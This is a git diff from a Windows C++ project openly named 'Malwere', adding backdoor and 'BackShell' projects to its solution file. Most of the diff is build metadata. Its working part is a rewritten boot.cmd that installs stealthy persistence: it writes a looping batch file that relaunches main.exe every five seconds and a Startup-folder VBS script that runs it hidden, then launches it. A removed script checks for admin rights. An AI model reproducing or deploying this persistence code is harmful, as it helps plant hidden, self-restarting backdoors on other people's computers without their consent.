a/BackDoor/main/x64/Release/main.tlog/CL.read.1.tlog b/BackDoor/main/x64/Release/main.tlog/CL.read.1.tlog index 208ee91..0f19345 100644 Binary files a/BackDoor/main/x64/Release/main.tlog/CL.read.1.tlog and b/BackDoor/main/x64/Release/main.tlog/CL.read.1.tlog differ diff --git a/BackDoor/main/x64/Release/main.tlog/link.read.1.tlog b/BackDoor/main/x64/Release/main.tlog/link.read.1.tlog index a16f7f3..6a66914 100644 Binary files a/BackDoor/main/x64/Release/main.tlog/link.read.1.tlog and b/BackDoor/main/x64/Release/main.tlog/link.read.1.tlog differ diff --git a/BackDoor/main/x64/Release/main.tlog/main.lastbuildstate b/BackDoor/main/x64/Release/main.tlog/main.lastbuildstate index 655165e..70e38bb 100644 --- a/BackDoor/main/x64/Release/main.tlog/main.lastbuildstate +++ b/BackDoor/main/x64/Release/main.tlog/main.lastbuildstate @@ -1,2 +1,2 @@ -PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0: +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.40.33807:TargetPlatformVersion=10.0.22621.0: Release|x64|D:\Projects\Malwere\| diff --git a/BackDoor/main/x64/Release/vc143.pdb b/BackDoor/main/x64/Release/vc143.pdb index 2af4438..e8c97ad 100644 Binary files a/BackDoor/main/x64/Release/vc143.pdb and b/BackDoor/main/x64/Release/vc143.pdb differ diff --git a/Malwere.sln b/Malwere.sln index 9bfb3ab..1831a16 100644 --- a/Malwere.sln +++ b/Malwere.sln @@ -15,7 +15,11 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "mandatory", "mandatory", "{ EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Upload", "BackDoor\Upload\Upload.vcxproj", "{3E01A79C-7304-4667-A77A-FAA55379EB89}" EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Load", "Load\Load.vcxproj", "{93BF7066-3967-444F-B965-D53469E75E2C}" +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SwapWallpaper", "SwapWallpaper\SwapWallpaper.vcxproj", "{B61214EB-DFD0-4F92-BEF6-E77F62844FF3}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "v2", "v2", "{AC477C67-82F8-4291-A79A-D4872F731C69}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BackShell", "BackShell\BackShell.vcxproj", "{1D21965D-B5E8-47FD-AEDC-6E5AA2E45471}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution @@ -57,14 +61,22 @@ Global {3E01A79C-7304-4667-A77A-FAA55379EB89}.Release|x64.Build.0 = Release|x64 {3E01A79C-7304-4667-A77A-FAA55379EB89}.Release|x86.ActiveCfg = Release|Win32 {3E01A79C-7304-4667-A77A-FAA55379EB89}.Release|x86.Build.0 = Release|Win32 - {93BF7066-3967-444F-B965-D53469E75E2C}.Debug|x64.ActiveCfg = Debug|x64 - {93BF7066-3967-444F-B965-D53469E75E2C}.Debug|x64.Build.0 = Debug|x64 - {93BF7066-3967-444F-B965-D53469E75E2C}.Debug|x86.ActiveCfg = Debug|Win32 - {93BF7066-3967-444F-B965-D53469E75E2C}.Debug|x86.Build.0 = Debug|Win32 - {93BF7066-3967-444F-B965-D53469E75E2C}.Release|x64.ActiveCfg = Release|x64 - {93BF7066-3967-444F-B965-D53469E75E2C}.Release|x64.Build.0 = Release|x64 - {93BF7066-3967-444F-B965-D53469E75E2C}.Release|x86.ActiveCfg = Release|Win32 - {93BF7066-3967-444F-B965-D53469E75E2C}.Release|x86.Build.0 = Release|Win32 + {B61214EB-DFD0-4F92-BEF6-E77F62844FF3}.Debug|x64.ActiveCfg = Debug|x64 + {B61214EB-DFD0-4F92-BEF6-E77F62844FF3}.Debug|x64.Build.0 = Debug|x64 + {B61214EB-DFD0-4F92-BEF6-E77F62844FF3}.Debug|x86.ActiveCfg = Debug|Win32 + {B61214EB-DFD0-4F92-BEF6-E77F62844FF3}.Debug|x86.Build.0 = Debug|Win32 + {B61214EB-DFD0-4F92-BEF6-E77F62844FF3}.Release|x64.ActiveCfg = Release|x64 + {B61214EB-DFD0-4F92-BEF6-E77F62844FF3}.Release|x64.Build.0 = Release|x64 + {B61214EB-DFD0-4F92-BEF6-E77F62844FF3}.Release|x86.ActiveCfg = Release|Win32 + {B61214EB-DFD0-4F92-BEF6-E77F62844FF3}.Release|x86.Build.0 = Release|Win32 + {1D21965D-B5E8-47FD-AEDC-6E5AA2E45471}.Debug|x64.ActiveCfg = Debug|x64 + {1D21965D-B5E8-47FD-AEDC-6E5AA2E45471}.Debug|x64.Build.0 = Debug|x64 + {1D21965D-B5E8-47FD-AEDC-6E5AA2E45471}.Debug|x86.ActiveCfg = Debug|Win32 + {1D21965D-B5E8-47FD-AEDC-6E5AA2E45471}.Debug|x86.Build.0 = Debug|Win32 + {1D21965D-B5E8-47FD-AEDC-6E5AA2E45471}.Release|x64.ActiveCfg = Release|x64 + {1D21965D-B5E8-47FD-AEDC-6E5AA2E45471}.Release|x64.Build.0 = Release|x64 + {1D21965D-B5E8-47FD-AEDC-6E5AA2E45471}.Release|x86.ActiveCfg = Release|Win32 + {1D21965D-B5E8-47FD-AEDC-6E5AA2E45471}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE @@ -75,7 +87,8 @@ Global {164A5605-AD23-4181-89C4-FA8774746731} = {BBCDCCD4-1868-44A9-B2D1-314B7916453B} {BBCDCCD4-1868-44A9-B2D1-314B7916453B} = {C5FF1EFF-014D-4975-AD38-230A0A0826FB} {3E01A79C-7304-4667-A77A-FAA55379EB89} = {C5FF1EFF-014D-4975-AD38-230A0A0826FB} - {93BF7066-3967-444F-B965-D53469E75E2C} = {C5FF1EFF-014D-4975-AD38-230A0A0826FB} + {AC477C67-82F8-4291-A79A-D4872F731C69} = {C5FF1EFF-014D-4975-AD38-230A0A0826FB} + {1D21965D-B5E8-47FD-AEDC-6E5AA2E45471} = {AC477C67-82F8-4291-A79A-D4872F731C69} EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {7F3C36FE-6D65-4523-A257-09FF14B81C17} diff --git a/Modules/BackDoor/CheckAdminWindows.bat b/Modules/BackDoor/CheckAdminWindows.bat deleted file mode 100644 index 3cb74b2..0000000 --- a/Modules/BackDoor/CheckAdminWindows.bat +++ /dev/null @@ -1,6 +0,0 @@ -net session >nul 2>&1 -if %errorLevel% == 0 ( -echo Yes -) else ( -echo No -) diff --git a/Modules/BackDoor/boot.cmd b/Modules/BackDoor/boot.cmd index 3591802..d0d4fbd 100644 --- a/Modules/BackDoor/boot.cmd +++ b/Modules/BackDoor/boot.cmd @@ -1,2 +1,12 @@ @echo off -echo start %CD%\main.exe > "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat" \ No newline at end of file + +echo :loop > "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\2.bat" +echo start %CD%\main.exe >> "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\2.bat" +echo timeout 5 >> "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\2.bat" +echo goto loop >> "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\2.bat" + +echo Set WshShell = CreateObject(^"WScript.Shell^") > "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs" +echo WshShell.Run chr(34) ^& ^"C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\2.bat^" ^& Chr(34), 0 >> "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs" +echo Set WshShell = Nothing >> "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs" + +"C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs" \ No newline at end of file